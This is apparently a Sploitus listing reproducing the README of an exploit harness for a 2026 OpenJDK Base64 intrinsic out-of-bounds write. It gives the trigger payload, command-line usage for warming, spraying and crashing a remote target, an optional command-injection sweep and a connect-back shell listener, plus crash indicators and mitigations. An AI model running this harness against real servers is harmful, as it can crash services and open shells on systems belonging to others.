Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • November 18, 2026

> **Read and analyze the code in this repository before running it.** As with any

> security tooling, parts of it may still need fixing, or may not be suitable to

> run in your environment. If you are unsure what a flag or step does, do not run

> By downloading or running this code, you agree to these terms.

| ✅ Proves the **OOB trigger** (the malformed-Base64 write past the buffer) | ❌ Does **not** ship a universal pre-auth RCE |

| ✅ Reproduces the **crash / memory corruption** deterministically in a lab | ❌ Does **not** include the per-product exploit chains |

| ✅ Includes a safe, **bounded local oracle** (`lab/Base64Trigger.java`) | ❌ Is **not** a scanner/exploit-finder for mass targets |

The only reliable proof of the underlying bug is the **local lab reproduction**.

The network harness is a trigger harness: it sends the malformed payload and

detects the *observable effect* (crash, connection reset, `hs_err`, or the

`0x9a` overwrite signature). A `5xx` response alone is **not** proof.

| **CVSS 3.1** | 8.1 — `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` (Oracle) |

| **CVSS 4.0** | 9.2 (researcher rating) |

| **Component** | HotSpot x86-64 AVX-512 VBMI Base64 decode intrinsic |

| **Affected** | OpenJDK ≥ 17.0.6 (before the 2026-11-17 patch): 17.0.6–17.0.21, 21.0.0–21.0.13, 25.0.0–25.0.5, 27.0.0–27.0.1 |

| **Fixed in** | 17.0.21.1 / 21.0.13.1 / 25.0.5.1 / 27.0.1.1 |

| **Hardware** | x86-64 with `avx512f` + `avx512bw` + `avx512vbmi` + `bmi2` (Intel Ice Lake+ / AMD Zen 4+) |

| **ARM64** | ❌ not affected (the intrinsic is x86-64 only) |

| **Trigger** | `'A'×64 + '='` (JDK 21+), `'A'×128 + '='` (JDK 17) |

| **Effect** | 62–63 byte OOB write; the trailing bytes are **constant `0x9a`** (not attacker-controlled) |

Check the *target* CPU (not your machine):

grep -m1 '^flags' /proc/cpuinfo | tr ' ' '\n' | grep -E '^(avx512f|avx512bw|avx512vbmi|bmi2)$'

| `poc.rs` | Rust (`rustc`) + system `curl` | network trigger harness (single file, no crates) |

| `lab/Base64Trigger.java` | JDK 17/21/25/27 | local reproduction oracle (must run on x86-64 AVX-512 VBMI) |

## Reproduce — step 1: local lab (the real proof)

This is the part you should trust. It runs the **actual vulnerable decoder** into

a fixed buffer and counts the overwritten bytes — deterministic, bounded, no

java Base64Trigger 64 # JDK 21/25/27 (smallest trigger)

**On a vulnerable host (x86-64 AVX-512 VBMI, unpatched JDK):**

rejected=true changed=62 first=50 last=111

- `changed=62` — exactly 62 bytes past the intended output were overwritten.

- `first=50 last=111` — the overwrite starts at `(n/4)*3 + 2` (offset 50 for n=64)

and runs 62 bytes, matching the published analysis.

**On ARM64 / non-AVX-512 / patched JDK:**

If you get `NOT REPRODUCED` on an otherwise in-range JDK, your CPU lacks the

AVX-512 VBMI path (e.g. Apple Silicon ARM) or the build is patched.

## Reproduce — step 2: network harness (single target)

# Build once (single file, no Cargo, no external crates)

# Non-destructive: check preconditions without sending any malformed tail

./poc --host --check-only

# Passive: one *valid* decode only (no malformed payload)

./poc --host --safe

# Full run: warm JIT -> trigger -> spray -> crash/leak detection

./poc --host --jdk17

# Full run + optional read-only command proof (whoami/id/date/uname -a)

./poc --host --whoami

# Full run + local listener for connect-back shell proof

./poc --host --whoami --listen 4444

| `--host URL` | required | base URL of a single target |

| `--check-only` | off | validate preconditions, no trigger (no crash) |

| `--safe` | off | one valid decode only |

| `--jdk17` | off | use `A*128 + "="` instead of `A*64 + "="` |

| `--product` | `auto` | `auto/keycloak/jira/confluence/jenkins/artifactory/generic` |

| `--warm N` | 10000 | valid decodes to force JIT (C2) compilation |

| `--spray N` | 300 | concurrent malformed-tail requests |

| `--whoami` | off | read-only command-endpoint sweep (additional proof) |

| `--chain` | `id,whoami,date,uname -a` | read-only commands for proof |

| `--listen PORT` | 0 | local listener for connect-back shell proof (0 = off) |

| `--require-shell` | off | exit 2 unless shell is proven |

A **crash / trigger hit** looks like this:

[trigger] GET /login?data -> status=500 err=

[trigger] POST form data -> status=0 err=...

[trigger] hits=17 after_status=200 crash=true leak=[]

- `hits=17` — 17 requests produced a `5xx`/reset after the malformed tail.

- `crash=true` — an observable crash signal (reset or `hs_err`) was detected.

- `leak=[]` — no `0x9a` overwrite signature was echoed back in a response body

(expected: the overwrite lands in the JVM heap, rarely in HTTP bodies).

- `vulnerable=1` — the OOB trigger / crash was reproduced.

- `shell=1` — optional: the read-only command sweep (`--whoami`) or the local

listener (`--listen`) actually returned proof. *(This proves generic command

injection on an injectable endpoint, not the withheld Java4Shell chain.)*

possibly not impacted; more detailed checks by your team are required

If `vulnerable=0`, do **not** conclude the target is safe — the CPU/JDK may

still be affected but the trigger didn't land (wrong product path, a proxy

buffering the body, or no reachable Base64 decode). It means *"not confirmed by

this harness"*, i.e. **a more detailed check by your team is required**.

Hosts are redacted in these public transcripts (`--warm 20000 --spray 500`,

[fp] product=keycloak detected=keycloak score=keycloak=2

[warm] n=20000 threads=32 vector=GET /?data

[trigger] hits=1 after_status=200 crash=true leak=[]

- `vulnerable=1` — the OOB trigger / crash was reproduced against a real

Keycloak target (crash confirmed; no `0x9a` leak echoed back, which is the

**Not impacted (needs deeper review) — full run with progress:**

[fp] product=keycloak detected=keycloak score=keycloak=2

[warm] n=20000 threads=32 vector=GET /?data

[trigger] hits=0 after_status=200 crash=false leak=[]

possibly not impacted; more detailed checks by your team are required

- `vulnerable=0` — no crash observed this run. Do **not** treat the target as

safe: the CPU/JDK may still be in range, or the request never reached a

Base64 decode. Check "Signs of a real trigger" on the host for a definitive

1. **Fingerprint** the product from page/headers.

2. **Warm** thousands of valid decodes to force the JIT to compile the

3. **Trigger** the malformed tail (`64 A + '='` / `128 A + '='`, plus `===` /

`X==` variants) across many vectors: query params, form/JSON bodies, headers.

4. **Spray** concurrent requests ("spray and pray" heap grooming).

5. **Detect** baseline vs. after: `crash` (reset / `5xx` / `hs_err`) or `leak`

> **Why the full run is slow, and how to tune it.** The warm and spray stages

> each spawn a fresh `curl` process per request (the harness is dependency-free

> by design), so a full run issues tens of thousands of requests. Lower

> `--warm`/`--spray` for a quick smoke test, raise them for a more reliable

./poc --host --warm 2000 --spray 50 # quick smoke

./poc --host --warm 20000 --spray 500 # aggressive

The local lab (`lab/Base64Trigger.java`) does the same thing without the

network and without crashing: it decodes into a 4096-byte buffer and asserts

## Signs of a real trigger (beyond this tool's output)

A valid trigger shows up on the **target side**, not just in the terminal. The

strongest signals, in order of confidence:

### 1. JVM crash dump — `hs_err_pid.log` (definitive)

A genuine OOB write that corrupts the heap usually ends in a HotSpot crash. The

JVM writes `hs_err_pid.log` to its working directory with:

- a `# Problematic frame` / top-of-stack frame pointing at the Base64

intrinsic, e.g. `V [libjvm.so+...]` with `base64` / `decodeBlock` in the

On Kubernetes the crash surfaces as a pod **restart / `CrashLoopBackOff`**

(`kubectl get pods`) and the dump lives in the container's working directory.

**What to look for inside the dump** (illustrative — the key lines):

# A fatal error has been detected by the Java Runtime Environment:

# SIGSEGV (0xb) at pc=0x00007f8a1c2d3e4f, pid=12345, tid=12346

# JRE version: OpenJDK Runtime Environment (17.0.13) (build 17.0.13+11)

# Java VM: OpenJDK 64-Bit Server VM (17.0.13+11, mixed mode, sharing, tiered,

# compressed oops, compressed class ptrs, g1 gc, linux-amd64)

# V [libjvm.so+0x16a2c3] base64_x86::decodeBlock+0x53

# Core dump will be written. Default location: core.12345

--------------- S U M M A R Y ------------

siginfo: si_signo: 11 (SIGSEGV), si_code: 1 (SEGV_MAPERR), si_addr: 0x000000009a9a9a9a

The two tells for **this** bug specifically:

- `Problematic frame` names `base64_x86::decodeBlock` — the crash happened

inside the AVX-512 Base64 intrinsic, not in application code.

- `si_addr: 0x...9a9a9a9a` — the faulting address is built out of the

constant `0x9a` overwrite bytes (a corrupted pointer/length being

dereferenced), which is the signature of Java4Shell, not a random segfault.

- The backend JVM dies → clients see **connection reset / timeout /

`ERR_CONNECTION_RESET`**, or a fronting proxy returns **502/503**.

- Health checks fail; restart counters increase in observability.

Right after the malformed request, look for a stack trace or one of:

java.lang.OutOfMemoryError: Java heap space

…often in code **unrelated** to Base64 — that's the tell that heap metadata was

clobbered rather than the input being merely rejected.

The write can also land somewhere harmless that run, and the JVM keeps running

with a corrupted object — later, unrelated `NullPointerException` /

`ClassCastException` or data anomalies appear. This is why a **single clean run

If the app echoes the corrupted buffer back, the response body carries the

constant overwrite bytes: runs of `0x9a`, or the repeating `69 a6 9a` pattern.

(The tool's `leak=[...]` line looks for exactly this.)

# hs_err dump (JVM working directory, or the app's cwd)

ls -lt hs_err_pid*.log replay_pid*.log 2>/dev/null | head

grep -m1 -E "Problematic frame|SIGSEGV|SIGILL" hs_err_pid*.log

kubectl describe pod | grep -i "last state\|restart"

- **No universal payload** — each application needs its own heap profile and

decode path; this repo ships none of those (they are withheld by calif.io).

- **A `5xx` alone is not proof** — rely on `REPRODUCED` (lab) or a reproducible

crash with an `hs_err_pid*.log` pointing at `base64_x86::decodeBlock`.

- **CPU capability is not visible remotely** — the network verdict is

heuristic; only the lab oracle is deterministic.

- **Proxies that buffer request bodies** (default nginx) can break the

- `--check-only` / `--safe` never prove vulnerability — they only check

- **Patch** OpenJDK to a build from the **2026-11-17** CPU or later

(17.0.21.1 / 21.0.13.1 / 25.0.5.1 / 27.0.1.1).

- `-XX:-UseBASE64Intrinsics` (disables the Base64 intrinsic)

- `-XX:UseAVX=2` (x86-64 only — disables AVX-512; do **not** use on ARM)

- [calif.io/java4shell]( — original disclosure & write-up

- [OpenJDK fix — PR #32781](

- [OpenJDK Vulnerability Group advisory 2026-11-17](

- [adoptium/adoptium-support#1480]( — crash reports

- [NVD — CVE-2026-114938](

Provided for security research and education. See the DISCLAIMER above. Use

only on systems you own or are authorized to test. The author(s) accept no

Extracted Entities

Attack Types (1)

Domains (2)

Platforms (1)

Vulnerabilities (1)